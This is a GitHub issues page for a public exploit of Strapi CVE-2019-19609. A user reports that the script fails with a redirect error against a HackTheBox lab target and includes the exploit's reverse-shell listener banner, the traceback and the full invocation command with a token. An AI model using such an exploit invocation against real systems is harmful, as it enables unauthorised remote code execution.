z9fr / cve-2019-19609

Strapi Framework Vulnerable to Remote Code Execution

me . blog . tweets . discord

cve-2019-19609's Issues

No shell to listener

Hi,

so I am using the exploit on a hackthebox machine. When executing the script, this is shown:

Strapi Framework Vulnerable to Remote Code Execution - CVE-2019-19609
please set up a listener on port 9001 before running the script. you will get a shell to that listener

Traceback (most recent call last):
File "/home/oceanhawk/CVE/CVE-2019-19609/exploit.py", line 30, in
response = requests.post(url, headers=headers, data=data, verify=False)
File "/usr/local/lib/python3.9/dist-packages/requests/api.py", line 119, in post
return request('post', url, data=data, json=json, **kwargs)
File "/usr/local/lib/python3.9/dist-packages/requests/api.py", line 61, in request
return session.request(method=method, url=url, **kwargs)
File "/usr/local/lib/python3.9/dist-packages/requests/sessions.py", line 530, in request
resp = self.send(prep, **send_kwargs)
File "/usr/local/lib/python3.9/dist-packages/requests/sessions.py", line 665, in send
history = [resp for resp in gen]
File "/usr/local/lib/python3.9/dist-packages/requests/sessions.py", line 665, in
history = [resp for resp in gen]
File "/usr/local/lib/python3.9/dist-packages/requests/sessions.py", line 166, in resolve_redirects
raise TooManyRedirects('Exceeded {} redirects.'.format(self.max_redirects), response=resp)
requests.exceptions.TooManyRedirects: Exceeded 30 redirects.

I get no shell to my listener on 9001.

The command I type is this:

python3 exploit.py api-prod.horizontal.htb lhost eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjM0NjUxMTc5LCJleHAiOjE2MzcyNDMxNzl9.h_EP9dFh_0qAIZU3lvl1SpVkkYlBY_nN45BGQ7ptIqw http://api-prod.horizontall.htb/